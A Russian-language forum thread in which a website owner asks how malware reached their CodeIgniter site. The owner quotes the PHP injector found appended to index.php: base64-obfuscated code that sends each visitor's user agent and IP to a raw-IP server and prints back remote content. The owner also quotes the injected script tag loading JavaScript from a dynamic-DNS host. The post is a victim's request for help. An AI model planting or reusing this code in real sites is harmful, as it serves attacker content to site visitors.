Новости
Видео
Microsoft
Windows 10
Железо
Программы
Форум

Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Информационная безопасность » Лечение систем от вредоносных программ » вирус на сайте

Ответить
Настройки темы
вирус на сайте

Новый участник


Сообщения: 14
Благодарности: 0

Профиль | Отправить PM | Цитировать

сегодня обнаружил что на хостинге где лежит мой сайт появился вирус. В конце каждого html файл он дописывал скрипт с ссылкой. Обнаружил что index.php (сайт написан на Codeignater) изменен. В конце него написан следующий код php:

PHP код: Выделить весь код

function textsafeunworker($id) {
    $id = intval($id);
    $rtn = $id + date("j");
    return $rtn;
}

function workorunwork($in) {
    if (textsafeunworker(64) < 1024) {
    $rtn = base64_decode($in);
    return $rtn;
    }
}
function workallt($newsid) {
    if (date("j") - $newsid > 320 ) {
        $rtn = false;
    } else {
    $get = workorunwork("aHR0cDovLzMxLjIxMC4xMTcuMTg3L3JlYWN0b3IucGhwP3BpZD0yJg==")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
    if (!isset($_COOKIE[workorunwork("ZGxlX3Bhc3N3b3Jk")])) {
    echo @file_get_contents($get);
    }
    }
}
workallt (date("j"));?> 

Дописывает что-то типа:
HTML код: Выделить весь код
<nofollow><script language='JavaScript' src=http://jnzmfuhw94.selfip.com/infob.php?i=25659></script>

Код я удалил.
Не могу понять через какую "дырку" это залезло? В логах доступа по ftp ничего подозрительно

Отправлено: 02:24, 19-12-2013

 

Аватара для iskander-k

скептик-оптимист


Moderator


Сообщения: 5718
Благодарности: 1115

Профиль | Отправить PM | Цитировать

NickNick, Оставьте заявку по ссылке

-------
Мягкий и пушистый - если не гладить против шерсти.




Вам помог совет? Нажмите на ссылку Полезное сообщение .

Отправлено: 01:25, 21-12-2013 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.



Компьютерный форум OSzone.net » Информационная безопасность » Лечение систем от вредоносных программ » вирус на сайте

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
Вирус на сайте, нужна помощь ][alter Вебмастеру 23 30-08-2013 12:35
Вирус на сайте Алексей Zn Вебмастеру 0 04-07-2013 11:44
вирус на сайте rel Вебмастеру 0 23-01-2013 00:49
Наверно вирус или троян на сайте AACC Лечение систем от вредоносных программ 6 23-09-2009 13:45
[решено] Вирус на сайте. (с) Касперский Artem-Samsung Вебмастеру 8 27-02-2009 23:02


« Предыдущая тема | Следующая тема »


 
Переход